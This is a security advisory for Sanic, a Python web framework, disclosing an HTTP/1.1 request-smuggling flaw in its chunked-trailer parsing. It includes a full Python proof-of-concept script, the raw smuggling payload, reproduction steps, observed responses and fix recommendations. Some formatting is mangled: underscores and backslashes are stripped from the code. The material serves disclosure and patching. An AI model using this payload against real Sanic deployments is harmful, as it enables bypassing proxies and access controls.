PT-2026-105906 · Pypi · Sanic

Published

2026-10-01

·

Updated

2026-10-01

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Description

Sanic's HTTP/1.1 chunked-body handling does not fully consume the trailer-part after the terminating 0r chunk. Because of that, attacker-controlled bytes left in the connection buffer after the first chunked request can be interpreted as the start of a new HTTP request on the same keep-alive connection. In the attached verified proof, a single outer POST / request that correctly returns 405 Method Not Allowed is followed, within the same TCP send, by a hidden second request smuggled through the chunked trailer area. Sanic parses and executes that second request as a real independent request.
The issue is a request-boundary integrity failure in Sanic's core HTTP/1.1 parser. The verified impact is not speculative. The attached proof shows that one TCP payload produces two server responses: first the expected 405 for the outer POST /, then a separate 200 OK for a hidden GET /. A second exploit variant changes the hidden request path and receives a real 404 Not Found, proving that the hidden second request is not a hard-coded artifact but an actually routed backend request. A control case with a two-character trailer field name shifts the leftover bytes from GET to :GET, which changes the second response accordingly and confirms that the root cause is incorrect trailer consumption rather than legitimate pipelining.

Steps To Reproduce

  1. Start a Sanic HTTP/1.1 service on a keep-alive connection path. In the verified run, the local target listened on 127.0.0.1:9381 and the root route allowed GET / but not POST /.
  2. From the package root, run the provided PoC:
bash
python3 evidence/vuln 001 chunked trailer smuggle.py | tee evidence/vuln 001 chunked trailer smuggle.run.txt
  1. Review the baseline case in evidence/vuln 001 chunked trailer smuggle.run.txt. A normal chunked request with 0r r returns exactly one response block:
text
=== CASE: baseline no trailer ===
Received response blocks: 1
HTTP/1.1 405 Method Not Allowed
  1. Review the exploit case that hides GET / in the trailer area:
text
=== CASE: exploit smuggled root ===
The PoC sends a single TCP payload containing:
text
POST / HTTP/1.1
Host: 127.0.0.1:9381
Connection: keep-alive
Transfer-Encoding: chunked

1
X
0
a:GET / HTTP/1.1
Host: 127.0.0.1:9381
  1. Confirm that Sanic returns two response blocks from that one send:
text
Received response blocks: 2
HTTP/1.1 405 Method Not Allowed
...
HTTP/1.1 200 OK
...
{"test":true}
  1. Review the second exploit case that changes the smuggled request path to a nonexistent route:
text
=== CASE: exploit smuggled 404 ===
Confirm that Sanic again returns two response blocks and that the second response is a real routed 404 Not Found for the attacker-controlled hidden path. 7. Review the control case with a two-character trailer field name:
text
=== CASE: offset control two char field name ===
Confirm that the second request is now interpreted as :GET /, producing a second 405 with Method :GET not allowed for URL /. This demonstrates that the leftover bytes begin at a parser offset inside the trailer region and are then reinterpreted as a new request line.

Recommendations

After parsing the terminating 0 chunk, Sanic must continue parsing and fully consuming the trailer-part until the final empty line before the connection buffer is reused. If trailer support is not intended, the safer behavior is to reject any request that contains bytes after the terminating 0r other than the expected final empty line, and then close the connection instead of keeping it alive.
Add regression coverage for all three cases shown in the evidence: a normal 0r r chunked termination, a legal trailer that must be fully consumed, and a malicious trailer that must never cause a second backend request to be parsed. The fix needs to guarantee that no bytes from trailer processing can remain in the buffer as a candidate next request.

poc

python
#!/usr/bin/env python3
"""Proof of concept for HTTP/1.1 chunked trailer request injection."""

from  future  import annotations

import socket
from dataclasses import dataclass
from typing import Iterable


TARGET = "sanic-org/sanic"
BASE URL = "http://127.0.0.1:9381"
HOST = "127.0.0.1"
PORT = 9381
TIMEOUT = 1.0
PROXY = None
AUTH HEADERS: dict[str, str] = {}


@dataclass
class Case:
  name: str
  payload: bytes
  expected responses: int
  expected markers: tuple[bytes, ...]


def build prefix() -> bytes:
  return (
    b"POST / HTTP/1.1r
"
    + f"Host: {HOST}:{PORT}r
".encode()
    + b"Connection: keep-aliver
"
    + b"Transfer-Encoding: chunkedr
"
    + b"r
"
    + b"1r
"
    + b"Xr
"
  )


def build case payload(path: str | None = None, field name: str = "a") -> bytes:
  prefix = build prefix()
  if path is None:
    return prefix + b"0r
r
"
  return (
    prefix
    + b"0r
"
    + f"{field name}:GET {path} HTTP/1.1r
".encode()
    + f"Host: {HOST}:{PORT}r
".encode()
    + b"r
"
  )


def send payload(payload: bytes) -> bytes:
  response = bytearray()
  with socket.create connection((HOST, PORT), timeout=3) as sock:
    sock.sendall(payload)
    sock.settimeout(TIMEOUT)
    while True:
      try:
        chunk = sock.recv(4096)
      except TimeoutError:
        break
      if not chunk:
        break
      response.extend(chunk)
  return bytes(response)


def count http responses(response: bytes) -> int:
  return response.count(b"HTTP/1.1 ")


def ensure markers(case: Case, response: bytes) -> None:
  actual count = count http responses(response)
  if actual count != case.expected responses:
    raise SystemExit(
      f"[FAIL] {case.name}: expected {case.expected responses} responses, got {actual count}"
    )
  for marker in case.expected markers:
    if marker not in response:
      raise SystemExit(
        f"[FAIL] {case.name}: missing marker {marker.decode('latin1', 'replace')}"
      )


def render payload(payload: bytes) -> str:
  return payload.decode("latin1", "replace")


def render response(response: bytes) -> str:
  return response.decode("latin1", "replace")


def iter cases() -> Iterable[Case]:
  yield Case(
    name="baseline no trailer",
    payload=build case payload(),
    expected responses=1,
    expected markers=(
      b"HTTP/1.1 405 Method Not Allowed",
      b"Method POST not allowed for URL /",
    ),
  )
  yield Case(
    name="exploit smuggled root",
    payload=build case payload("/"),
    expected responses=2,
    expected markers=(
      b"HTTP/1.1 405 Method Not Allowed",
      b"HTTP/1.1 200 OK",
      b'{"test":true}',
    ),
  )
  yield Case(
    name="exploit smuggled 404",
    payload=build case payload("/this-path-should-not-exist"),
    expected responses=2,
    expected markers=(
      b"HTTP/1.1 405 Method Not Allowed",
      b"HTTP/1.1 404 Not Found",
      b"Requested URL /this-path-should-not-exist not found",
    ),
  )
  yield Case(
    name="offset control two char field name",
    payload=build case payload("/", field name="ab"),
    expected responses=2,
    expected markers=(
      b"HTTP/1.1 405 Method Not Allowed",
      b"Method :GET not allowed for URL /",
    ),
  )


def main() -> None:
  print(f"Target: {TARGET}")
  print(f"Base URL: {BASE URL}")
  print()
  for case in iter cases():
    print(f"=== CASE: {case.name} ===")
    print("Sent payload:")
    print(render payload(case.payload))
    response = send payload(case.payload)
    ensure markers(case, response)
    print(f"Received response blocks: {count http responses(response)}")
    print("Raw response:")
    print(render response(response))
    print("[OK] Case verified")
    print()


if  name  == " main ":
  main()

Evidence Files

The attachment package includes the exact PoC and the full runtime output from the verified local execution.
  • evidence/vuln 001 chunked trailer smuggle.py: full PoC used for the verified run.
  • evidence/vuln 001 chunked trailer smuggle.run.txt: runtime output showing the baseline behavior, the successful smuggled GET / execution, the successful smuggled GET /this-path-should-not-exist execution, and the trailer-offset control case.
Observed baseline behavior:
text
=== CASE: baseline no trailer ===
Received response blocks: 1
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /
Observed hidden second request execution:
text
=== CASE: exploit smuggled root ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /

HTTP/1.1 200 OK
...
{"test":true}
Observed hidden attacker-controlled path execution:
text
=== CASE: exploit smuggled 404 ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /

HTTP/1.1 404 Not Found
...
Requested URL /this-path-should-not-exist not found
Observed trailer-offset control:
text
=== CASE: offset control two char field name ===
Received response blocks: 2
Raw response:
HTTP/1.1 405 Method Not Allowed
...
Method POST not allowed for URL /

 HTTP/1.1 405 Method Not Allowed
...
Method :GET not allowed for URL /

Impact

An attacker who can send a chunked HTTP/1.1 request to a Sanic backend can cause the backend to interpret bytes from the trailer region as a second request on the same keep-alive connection. In the verified proof, that second request was fully routed and executed by the backend even though only one outer request was sent by the client.
This breaks the integrity of HTTP request boundaries inside the server. In real deployments that place Sanic behind reverse proxies, gateways, caches, or other intermediaries, a backend parser mismatch of this kind can become a request smuggling primitive with broader security consequences than the local proof route demonstrates.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-4162

Affected Products

Sanic